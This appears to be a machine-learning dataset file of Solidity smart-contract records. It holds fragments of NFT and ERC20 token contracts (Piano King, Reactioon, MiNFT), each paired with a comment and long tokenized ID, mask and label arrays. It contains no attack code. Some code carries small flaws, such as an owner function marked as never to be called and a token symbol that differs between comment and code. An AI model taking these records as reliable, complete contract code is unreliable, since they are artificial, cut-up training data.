* @param incrementor Random incrementor based on the random number provided by oracles
*/
function generateTokenId(
uint256 randomNumber,
uint256 lowerBound,
uint256 upperBound,
uint256 incrementor
) internal pure returns (uint256 tokenId) {
if (lowerBound < 8000) {
// For the presale of 1000 tokens and the 7 batches of
// 1000 after that
tokenId = getTokenIdInRange(
randomNumber,
1009,
incrementor,
lowerBound,
upperBound
);
} else {
// Dutch auction mints of 200 tokens
tokenId = getTokenIdInRange(
randomNumber,
211,
incrementor,
lowerBound,
upperBound
);
}
}
/**
* @dev Get a token id in a given range
* @param randomNumber True random number which has been previously provided by oracles
* or previous tokenId that was generated from it. Since we're generating a sequence
* of numbers defined by recurrence we need the previous number as the base for the next.
* @param lowerBound Lower bound of current batch
* @param upperBound Upper bound of current batch
* @param incrementor Random incrementor based on the random number provided by oracles
*/
function getTokenIdInRange(
uint256 randomNumber,
uint256 modulo,
uint256 incrementor,
uint256 lowerBound,
uint256 upperBound
) internal pure returns (uint256 tokenId) {
// Special case in which the incrementor would be equivalent to 0
// so we need to add 1 to it.
if (incrementor % modulo == modulo - 1 - (lowerBound % modulo)) {
incrementor += 1;
}
tokenId = lowerBound + ((randomNumber + incrementor) % modulo) + 1;
// Shouldn't trigger too many iterations
while (tokenId > upperBound) {
tokenId = lowerBound + ((tokenId + incrementor) % modulo) + 1;
}
}
/**
* @dev Get the bounds of the range to generate the ids in
* @return lowerBound The starting position from which the tokenId will be randomly picked
* @return upperBound The ending position until which the tokenId will be randomly picked
*/
function getBounds()
internal
view
returns (uint256 lowerBound, uint256 upperBound)
{
if (totalSupply < 8000) {
// For 8 batch mints of 1000 tokens including the presale
lowerBound = (totalSupply / 1000) * 1000;
upperBound = lowerBound + 1000;
} else if (totalSupply < 10000) {
// To get the 200 tokens slots to be distributed by Dutch auctions
lowerBound = 8000 + ((totalSupply - 8000) / 200) * 200;
upperBound = lowerBound + 200;
} else {
// Set both at zero to mark that we reached the end of the max supply
lowerBound = 0;
upperBound = 0;
}
}
/**
* @dev Set the address of the Piano King Wallet
*/
function setPianoKingWallet(address addr) external onlyOwner {
require(addr != address(0), "Invalid address");
pianoKingWallet = addr;
}
/**
* @dev Set the address of the Piano King Whitelist
*/
function setWhitelist(address addr) external onlyOwner {
require(addr != address(0), "Invalid address");
pianoKingWhitelist = PianoKingWhitelist(addr);
}
/**
* @dev Set the address of the contract authorized to do Dutch Auction
* of the tokens of this contract
*/
function setDutchAuction(address addr) external onlyOwner {
require(addr != address(0), "Invalid address");
pianoKingDutchAuction = addr;
}
/**
* @dev Set the address of the contract meant to hold the royalties
*/
function setFundsContract(address addr) external onlyOwner {
require(addr != address(0), "Invalid address");
pianoKingFunds = addr;
}
/**
* @dev Set the address of the contract meant to request the
* random number
*/
function setRNConsumerContract(address addr) external onlyOwner {
require(addr != address(0), "Invalid address");
pianoKingRNConsumer = IPianoKingRNConsumer(addr);
}
/**
* @dev Set the base URI of every token URI
*/
function setBaseURI(string memory uri) external onlyOwner {
baseURI = uri;
}
/**
* @dev Set addresses directly in the list as if they preminted for free
* like for giveaway.
* WARNING: MUST NOT BE CALLED.
* Calling this function would trigger an issue during the mint
* as the supplyLeft is not updated. Call preMintFor for
* each of the addresses wanted instead
*/
function setPreApprovedAddresses(
address[] memory addrs,
uint256[] memory amounts
) external onlyOwner {
require(addrs.length <= 10, "Too many addresses");
require(addrs.length == amounts.length, "Arrays length do not match");
for (uint256 i = 0; i < addrs.length; i++) {
address addr = addrs[i];
require(addr != address(0), "Invalid address");
uint256 amount = amounts[i];
require(amount > 0, "Amount too low");
require(
amount + preMintAllowance[addr] <= MAX_TOKEN_PER_ADDRESS,
"Above maximum"
);
if (preMintAllowance[addr] == 0) {
preMintAddresses.push(addr);
}
preMintAllowance[addr] = amount;
}
}
/**
* @dev Retrieve the funds of the sale
*/
function retrieveFunds() external {
// Only the Piano King Wallet or the owner can withraw the funds
require(
msg.sender == pianoKingWallet || msg.sender == owner(),
"Not allowed"
);
payable(pianoKingWallet).sendValue(address(this).balance);
}
// The following functions are overrides required by Solidity.
/**
* @dev Override of an OpenZeppelin hook called on before any token transfer
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override {
// This will prevent anyone from burning a token if he or she tries
// to send it to the zero address
require(to != address(0), "Burning not allowed");
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev Get the URI for a given token
*/
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(_exists(tokenId), "URI query for nonexistent token");
// Concatenate the baseURI and the tokenId as the tokenId should
// just be appended at the end to access the token metadata
return string(abi.encodePacked(baseURI, tokenId.toString(), ".json"));
}
// View and pure functions
/**
* @dev Get the address of the Piano King wallet
*/
function getPianoKingWallet() external view returns (address) {
return pianoKingWallet;
}
/**
* @dev Get the addresses that preminted
*/
function getPremintAddresses() external view returns (address[] memory) {
return preMintAddresses;
}
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
// The funds should be sent to the funds contract
receiver = pianoKingFunds;
// We divide it by 10000 as the royalties can change from
// 0 to 10000 representing percents with 2 decimals
royaltyAmount = (salePrice * ROYALTIES) / 10000;
}
}
| * @dev Set the address of the contract meant to request the random number/ | function setRNConsumerContract(address addr) external onlyOwner {
require(addr != address(0), "Invalid address");
pianoKingRNConsumer = IPianoKingRNConsumer(addr);
}
| 879,818 | [
1,
694,
326,
1758,
434,
326,
6835,
20348,
358,
590,
326,
2744,
1300,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
444,
54,
50,
5869,
8924,
12,
2867,
3091,
13,
3903,
1338,
5541,
288,
203,
565,
2583,
12,
4793,
480,
1758,
12,
20,
3631,
315,
1941,
1758,
8863,
203,
565,
293,
2779,
83,
47,
310,
54,
50,
5869,
273,
2971,
2779,
83,
47,
310,
54,
50,
5869,
12,
4793,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0xCF660b01FD689Df5C6Dc3b1abeb7603f0aF6C91B/sources/contracts/CTC.sol | Add the ticket to the user's ticketOwned mapping | ticketOwned[uniqueId].push(newTicket);
| 3,798,006 | [
1,
986,
326,
9322,
358,
326,
729,
1807,
9322,
5460,
329,
2874,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5411,
9322,
5460,
329,
63,
6270,
548,
8009,
6206,
12,
2704,
13614,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Reactioon' token contract
//
// Deployed to : 0xD516B196C474a6b6fbF3FF7d44031a39BdB894E9
// Symbol : RCTN
// Name : Reactioon Token
// Total supply: 21000000
// Decimals : 0
//
// Description : Reactioon is a tool to check signals to trade assets in multiple exchanges.
//
// Create your free account now: www.reactioon.com
//
// Enjoy!
//
//
// @2018
// Reactioon Token by José Wilker
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ReactioonToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ReactioonToken() public {
symbol = "RTN";
name = "Reactioon";
decimals = 0;
_totalSupply = 21000000;
balances[0x414D077412920A134529631a5b8f31c128AC37bD] = _totalSupply;
Transfer(address(0), 0x414D077412920A134529631a5b8f31c128AC37bD, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract ReactioonToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ReactioonToken() public {
symbol = "RTN";
name = "Reactioon";
decimals = 0;
_totalSupply = 21000000;
balances[0x414D077412920A134529631a5b8f31c128AC37bD] = _totalSupply;
Transfer(address(0), 0x414D077412920A134529631a5b8f31c128AC37bD, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 14,823,359 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
13732,
1594,
265,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
445,
13732,
1594,
265,
1345,
1435,
1071,
288,
203,
203,
3639,
3273,
273,
315,
12185,
50,
14432,
203,
3639,
508,
273,
315,
23469,
1594,
265,
14432,
203,
3639,
15105,
273,
374,
31,
203,
203,
3639,
389,
4963,
3088,
1283,
273,
9035,
9449,
31,
203,
3639,
324,
26488,
63,
20,
92,
24,
3461,
40,
20,
4700,
24,
24886,
3462,
37,
3437,
7950,
5540,
4449,
21,
69,
25,
70,
28,
74,
6938,
71,
10392,
2226,
6418,
70,
40,
65,
273,
389,
4963,
3088,
1283,
31,
203,
203,
3639,
12279,
12,
2867,
12,
20,
3631,
374,
92,
24,
3461,
40,
20,
4700,
24,
24886,
3462,
37,
3437,
7950,
5540,
4449,
21,
69,
25,
70,
28,
74,
6938,
71,
10392,
2226,
6418,
70,
40,
16,
389,
4963,
3088,
1283,
1769,
203,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
5381,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
225,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "../../access/IOwnable.sol";
import "@openzeppelin/contracts/interfaces/IERC165.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/interfaces/IERC721Metadata.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
/**
* @dev Minimal implementation https://eips.ethereum.org/EIPS/eip-721[ERC721]
* Non-Fungible Token Standard.
*
* ███╗ ███╗██╗███╗ ██╗███████╗████████╗
* ████╗ ████║██║████╗ ██║██╔════╝╚══██╔══╝
* ██╔████╔██║██║██╔██╗ ██║█████╗ ██║
* ██║╚██╔╝██║██║██║╚██╗██║██╔══╝ ██║
* ██║ ╚═╝ ██║██║██║ ╚████║██║ ██║
* ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝
*
*/
contract MiNFT is Initializable, IERC165, IERC721, IERC721Metadata, IOwnable {
// Contract & token owner
address public override owner;
// Token name
string public override name;
// Token name
string public override symbol;
// Optional base URI
string public baseURI;
// Total supply of tokens
uint16 public totalSupply;
// Mapping of tokenIds to token metadata
mapping(uint16 => string) private _mintedTokens;
// ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ ██████╗ ██████╗
// ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
// ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ ██║ ██║██████╔╝
// ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ ██║ ██║██╔══██╗
// ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ ╚██████╔╝██║ ██║
// ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor() initializer {
owner = msg.sender;
}
function initialize(string memory name_, string memory symbol_) public initializer {
owner = msg.sender;
name = name_;
symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IERC165).interfaceId ||
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IOwnable).interfaceId
;
}
modifier onlyOwner() {
require(msg.sender == owner, 'X');
_;
}
// ███╗ ███╗██╗███╗ ██╗████████╗██╗███╗ ██╗ ██████╗
// ████╗ ████║██║████╗ ██║╚══██╔══╝██║████╗ ██║██╔════╝
// ██╔████╔██║██║██╔██╗ ██║ ██║ ██║██╔██╗ ██║██║ ███╗
// ██║╚██╔╝██║██║██║╚██╗██║ ██║ ██║██║╚██╗██║██║ ██║
// ██║ ╚═╝ ██║██║██║ ╚████║ ██║ ██║██║ ╚████║╚██████╔╝
// ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
/**
* @dev Mints `tokenId` and transfers it to `owner()`.
*
* Emits a {Transfer} event.
*/
function mint(uint16 tokenId, string memory metadataURI) public onlyOwner {
require(!_exists(tokenId), '?');
require(bytes(metadataURI).length > 0, '0');
_mintedTokens[tokenId] = metadataURI;
totalSupply += 1;
emit Transfer(address(0), owner, tokenId);
}
/**
* @dev Destroys `tokenId`.
*
* Emits a {Transfer} event.
*/
function burn(uint16 tokenId) public onlyOwner {
require(_exists(tokenId), '?');
delete _mintedTokens[tokenId];
totalSupply -= 1;
emit Transfer(owner, address(0), tokenId);
}
// ███╗ ███╗███████╗████████╗ █████╗ ██████╗ █████╗ ████████╗ █████╗
// ████╗ ████║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗
// ██╔████╔██║█████╗ ██║ ███████║██║ ██║███████║ ██║ ███████║
// ██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██║ ██║██╔══██║ ██║ ██╔══██║
// ██║ ╚═╝ ██║███████╗ ██║ ██║ ██║██████╔╝██║ ██║ ██║ ██║ ██║
// ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), '?');
string memory metadataURI;
string memory _tokenURI = _mintedTokens[uint16(tokenId)];
if (bytes(baseURI).length == 0) {
metadataURI = _tokenURI;
} else {
metadataURI = string(abi.encodePacked(baseURI, _tokenURI));
}
return metadataURI;
}
/**
* @dev Updates a token's metadata URI.
*/
function setTokenURI(uint16 tokenId, string memory metadataURI) public onlyOwner {
require(_exists(tokenId), '?');
_mintedTokens[tokenId] = metadataURI;
}
/**
* @dev Updates contract base URI.
*/
function setBaseURI(string memory newURI) public onlyOwner {
baseURI = newURI;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address wallet) public view virtual override returns (uint256) {
